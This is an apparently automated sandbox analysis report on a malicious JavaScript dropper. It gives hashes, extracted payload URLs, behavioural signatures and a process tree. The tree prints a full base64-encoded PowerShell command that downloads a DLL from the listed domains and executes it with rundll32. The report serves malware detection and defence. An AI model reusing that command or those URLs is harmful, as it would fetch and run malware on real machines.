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Analysis
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max time kernel
109s -
max time network
125s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
22/03/2023, 01:19
Static task
static1
Behavioral task
behavioral1
Sample
726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js
Resource
win10v2004-20230221-en
General
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Target
726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js
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Size
56KB
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MD5
47823c1f4f981be1c7982ab0a423beae
-
SHA1
80e0582d0e996c70e0971f690bfece18399d55cc
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SHA256
726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5
-
SHA512
82d354af54d2ea828793492318e3a7556f0979c9128aad51f569ca54394b63c232b91ba8731ae39fe52033a1e5085247e28181d348337b98b4077dd96e9f77ad
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SSDEEP
1536:pL/Zdr8m3FU83O5VWxWPapLDqkDG8Gzc2h9NJQ2vQYWwrr+zY:pL/ZeS8SlnSPQ2vxW+d
Malware Config
Extracted
https://getcash2surveys.com/0HFE0G/B0pO8q
https://kingzunlimited.com/VvAmv/oCbHYAy0eo
https://odwazig.nl/xNV7x/skdz8v
https://onestopsilkscreeners.ca/o6g4bt1/mAbPqVmip
https://smeolbd.com/ntaUX/9dhOa9
https://canadianused.com/euSgOJA/l0VcI3
https://discountlandllc.com/uUbH/rzrp6AIe
https://sobanaze.com/cJn7i/GNp24jZRl6T
Signatures
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Blocklisted process makes network request 8 IoCs
flow pid Process 27 3992 powershell.exe 29 3992 powershell.exe 33 3992 powershell.exe 35 3992 powershell.exe 38 3992 powershell.exe 42 3992 powershell.exe 46 3992 powershell.exe 50 3992 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation wscript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3992 powershell.exe 3992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3992 powershell.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 1048 wrote to memory of 3992 1048 wscript.exe 86 PID 1048 wrote to memory of 3992 1048 wscript.exe 86
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\726b21c627f3b46ffbbfb76cc182e16461afe83ab062403f5e9d491cc58bfba5.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1048 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7ACQAcgBlAG0AaQBzAHMAaQB2AGUAUwBlAG0AaQBuAGEAdABpAG4AZwAgAD0AIAAoACIAaAB0AHQAcABzADoALwAvAGcAZQB0AGMAYQBzAGgAMgBzAHUAcgB2AGUAeQBzAC4AYwBvAG0ALwAwAEgARgBFADAARwAvAEIAMABwAE8AOABxACwAaAB0AHQAcABzADoALwAvAGsAaQBuAGcAegB1AG4AbABpAG0AaQB0AGUAZAAuAGMAbwBtAC8AVgB2AEEAbQB2AC8AbwBDAGIASABZAEEAeQAwAGUAbwAsAGgAdAB0AHAAcwA6AC8ALwBvAGQAdwBhAHoAaQBnAC4AbgBsAC8AeABOAFYANwB4AC8AcwBrAGQAegA4AHYALABoAHQAdABwAHMAOgAvAC8AbwBuAGUAcwB0AG8AcABzAGkAbABrAHMAYwByAGUAZQBuAGUAcgBzAC4AYwBhAC8AbwA2AGcANABiAHQAMQAvAG0AQQBiAFAAcQBWAG0AaQBwACwAaAB0AHQAcABzADoALwAvAHMAbQBlAG8AbABiAGQALgBjAG8AbQAvAG4AdABhAFUAWAAvADkAZABoAE8AYQA5ACwAaAB0AHQAcABzADoALwAvAGMAYQBuAGEAZABpAGEAbgB1AHMAZQBkAC4AYwBvAG0ALwBlAHUAUwBnAE8ASgBBAC8AbAAwAFYAYwBJADMALABoAHQAdABwAHMAOgAvAC8AZABpAHMAYwBvAHUAbgB0AGwAYQBuAGQAbABsAGMALgBjAG8AbQAvAHUAVQBiAEgALwByAHoAcgBwADYAQQBJAGUALABoAHQAdABwAHMAOgAvAC8AcwBvAGIAYQBuAGEAegBlAC4AYwBvAG0ALwBjAEoAbgA3AGkALwBHAE4AcAAyADQAagBaAFIAbAA2AFQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAZQBuAHQAaAByAGEAbABtAGUAbgB0AFMAZQBtAHAAZQByAGkAZABlAG4AdABpAGMAYQBsACAAaQBuACAAJAByAGUAbQBpAHMAcwBpAHYAZQBTAGUAbQBpAG4AYQB0AGkAbgBnACkAIAB7AHQAcgB5ACAAewBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAGUAbgB0AGgAcgBhAGwAbQBlAG4AdABTAGUAbQBwAGUAcgBpAGQAZQBuAHQAaQBjAGEAbAAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADIAMAAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGcAcgBpAHAAcABpAG4AZwAuAGQAbABsADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAVQBuAGcAcgBpAHAAcABpAG4AZwAuAGQAbABsACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAAMQAwADAAMAAwADAAKQAgAHsAcwB0AGEAcgB0ACAAcgB1AG4AZABsAGwAMwAyACAAJABlAG4AdgA6AFQARQBNAFAAXABcAFUAbgBnAHIAaQBwAHAAaQBuAGcALgBkAGwAbAAsAFcAVwA1ADAAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoACAAewBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAfQB9AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3992
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82